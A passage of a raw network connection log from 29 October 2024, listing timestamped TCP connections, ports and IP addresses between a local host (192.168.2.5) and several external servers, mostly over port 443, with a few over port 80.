Oct 29, 2024 20:35:13.938503981 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.938515902 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.938522100 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.989924908 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.989979029 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.990185022 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.996324062 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.996342897 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.000006914 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.000050068 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.001632929 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:14.001800060 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:14.002099991 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.002099991 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.002106905 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:14.002139091 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.003063917 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:14.003063917 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:14.013350010 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.013381958 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.013461113 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.013617992 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.013626099 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.013825893 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.013858080 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.014383078 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.018181086 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.018218040 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.018414021 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.018435001 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.018456936 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.018713951 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.018723011 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.299021006 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:14.299068928 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:14.299202919 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:14.337728977 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:14.337769032 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:14.740355968 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.747350931 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.750276089 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.751971960 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.753124952 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:14.803112030 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.803112030 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.912501097 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.916687012 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:14.916690111 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.063968897 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.063996077 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.064496994 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.064502954 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.064814091 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.064830065 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.065217018 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.065221071 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.065568924 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.065587044 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.066013098 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.066019058 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.066504002 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.066514969 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.066873074 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.066878080 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.067215919 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.067229033 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.067591906 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.067595959 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.149226904 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:15.149260044 CET	443	49846	18.244.18.38	192.168.2.5
Oct 29, 2024 20:35:15.149313927 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:15.151684046 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:15.151695013 CET	443	49846	18.244.18.38	192.168.2.5
Oct 29, 2024 20:35:15.191102028 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.191124916 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.191175938 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.191184044 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.191225052 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.192291021 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.192307949 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.192317963 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.192322969 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.193185091 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.193209887 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.193253040 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.193258047 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.193288088 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.194334984 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.194348097 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.194360018 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.194365025 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.195370913 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.195400000 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.195466042 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.195480108 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.195498943 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.197926998 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.198223114 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.198273897 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.198462963 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.198544025 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.198600054 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.200284004 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.200304985 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.200582981 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.200696945 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.200714111 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.200726032 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.200732946 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.201071024 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.201112986 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.201248884 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.201956034 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.201972961 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.201977968 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.201982975 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.203362942 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.203372955 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.203382969 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.203387022 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.204230070 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.204241037 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.206377983 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.206393003 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.206582069 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.206767082 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.206774950 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.207973003 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.208002090 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.208070040 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.208919048 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.208931923 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.212728024 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.212749004 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.212807894 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.212992907 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.213001966 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.424098015 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:15.424170017 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:15.537647963 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:15.537677050 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:15.537971020 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:15.540240049 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:15.540280104 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:15.540298939 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:15.916884899 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:15.916934967 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:15.917005062 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:15.917196035 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:15.917211056 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:15.917691946 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:15.917716026 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:15.918046951 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:15.918298006 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:15.918308973 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:15.931135893 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:15.939980984 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:15.940016031 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:15.940125942 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:15.940871000 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:15.940891027 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:15.942183018 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.945378065 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.948640108 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.953629971 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.954145908 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.994682074 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.994697094 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.995820999 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.995826006 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.996356964 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.996373892 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:15.996952057 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:15.996957064 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.006160975 CET	443	49846	18.244.18.38	192.168.2.5
Oct 29, 2024 20:35:16.008234978 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.039077044 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.039093971 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.039875031 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.039886951 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.041683912 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.041699886 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.042109966 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.042117119 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.042468071 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.042485952 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.042915106 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.042921066 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.043514967 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:16.043581963 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:16.080384970 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:16.080408096 CET	443	49846	18.244.18.38	192.168.2.5
Oct 29, 2024 20:35:16.082376957 CET	443	49846	18.244.18.38	192.168.2.5
Oct 29, 2024 20:35:16.082386971 CET	443	49846	18.244.18.38	192.168.2.5
Oct 29, 2024 20:35:16.082428932 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:16.087858915 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:16.087969065 CET	443	49846	18.244.18.38	192.168.2.5
Oct 29, 2024 20:35:16.114814997 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:16.114836931 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:16.114847898 CET	49835	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:16.114855051 CET	443	49835	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:16.140254021 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.140358925 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.140454054 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.147835970 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.147871017 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.147949934 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.147960901 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.148305893 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.148458004 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.156652927 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:16.156693935 CET	443	49846	18.244.18.38	192.168.2.5
Oct 29, 2024 20:35:16.167126894 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.167224884 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.167337894 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.170728922 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.170825958 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.170895100 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.172096968 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.172178984 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.172338009 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.193547964 CET	49852	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.193569899 CET	443	49852	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.195271015 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.195302010 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.195317984 CET	49850	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.195326090 CET	443	49850	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.197366953 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.197382927 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.197393894 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.197400093 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.209747076 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.209753990 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.209764957 CET	49851	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.209769011 CET	443	49851	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.217958927 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.217978001 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.217989922 CET	49853	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.217995882 CET	443	49853	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.303458929 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:16.489324093 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.489361048 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.489428997 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.530689001 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.531199932 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.531229973 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.532324076 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.532388926 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.534440994 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.534508944 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.534632921 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.537059069 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.537292957 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.537314892 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.538342953 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.538415909 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.540278912 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.540340900 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.540635109 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.540642023 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.548218966 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.548248053 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.557593107 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.559124947 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.559134960 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.560159922 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.560225964 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.561234951 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.561310053 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.561733961 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.561742067 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.575335979 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.586908102 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:16.586949110 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:16.587012053 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:16.587805033 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:16.587816000 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:16.613034964 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.613048077 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.613050938 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.613081932 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.636531115 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.636569023 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.636687994 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.656495094 CET	49781	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:16.656866074 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:16.661128998 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.661185980 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.661266088 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.662002087 CET	80	49781	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:16.662322044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:16.662439108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:16.663535118 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.663561106 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.663666010 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.666486979 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.666502953 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.667784929 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.667839050 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.668226004 CET	49856	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.668242931 CET	443	49856	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.668451071 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.668482065 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.668891907 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:16.668976068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:16.669403076 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.669419050 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.670763016 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.670790911 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.670871019 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.671010971 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:16.671029091 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:16.672848940 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.672898054 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.673089981 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.673312902 CET	49857	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.673321962 CET	443	49857	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.674283981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:16.674305916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:16.674638033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:16.674845934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:16.691452026 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.691518068 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.691576004 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.691940069 CET	49858	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:16.691952944 CET	443	49858	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:16.759392977 CET	49867	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.759443045 CET	443	49867	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.759514093 CET	49867	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.759712934 CET	49868	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.759746075 CET	443	49868	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.759797096 CET	49868	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.759963036 CET	49867	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.759975910 CET	443	49867	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.760082960 CET	49868	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:16.760092974 CET	443	49868	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:16.784435987 CET	49869	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:16.784482956 CET	443	49869	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:16.784599066 CET	49869	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:16.785662889 CET	49869	443	192.168.2.5	20.190.159.2
